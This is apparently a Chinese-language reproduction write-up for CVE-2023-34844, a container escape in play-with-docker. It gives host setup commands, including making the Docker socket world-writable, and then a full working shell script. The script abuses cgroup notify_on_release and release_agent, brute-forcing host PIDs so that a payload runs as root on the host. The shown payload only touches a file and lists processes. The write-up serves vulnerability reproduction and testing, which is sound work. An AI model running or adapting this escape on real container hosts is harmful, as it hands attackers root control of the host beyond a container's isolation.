Docker >> Container Escape

CVE-2023-34844


參考資訊:
1. nvd
2. cvedetails
3. script
4. play-with-docker

測試環境
Ubuntu 20.04 (5.11.0-34-generic)
Docker version 20.10.25, build 20.10.25-0ubuntu1~20.04.2

測試步驟
1. 在Host上執行如下命令

$ cd
$ curl -LO https://storage.googleapis.com/golang/go1.7.linux-amd64.tar.gz
$ sudo rm -rf /usr/local/go
$ sudo tar -C /usr/local -xvzf go1.7.linux-amd64.tar.gz

$ cd
$ git clone --depth=1 https://github.com/play-with-docker/play-with-docker -b v0.0.2
$ cd play-with-docker
$ sudo chmod 0777 /var/run/docker.socket
$ docker run hello-world
$ sudo modprobe xt_ipvs
$ docker swarm init
$ docker pull franela/dind
$ go mod vendor
$ docker-compose up
    pwd        | 2023/10/10 05:30:46 Updating playgrounds configuration
    pwd        | 2023/10/10 05:30:46 Listening on port 3000

2. 開啟FireFox並且輸入localhost


3. ADD NEW INSTANCE


4. vim run.sh

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
touch /tmp/cve-2023-34844
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
  if [ $((${TPID} % 100)) -eq 0 ]
  then
    echo "Checking pid ${TPID}"
    if [ ${TPID} -gt ${MAX_PID} ]
    then
      echo "Exiting at ${MAX_PID} :-("
      exit 1
    fi
  fi
  # Set the release_agent path to the guessed pid
  echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
  # Trigger execution of the release_agent
  sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
  TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

5. 執行

[node1] (local) root@10.0.3.4 ~
$ chmod a+x ./run.sh 

[node1] (local) root@10.0.3.4 ~
$ ./run.sh 



6. 在Host上查看結果

$ ls /tmp/
    cve-2023-34844


返回上一頁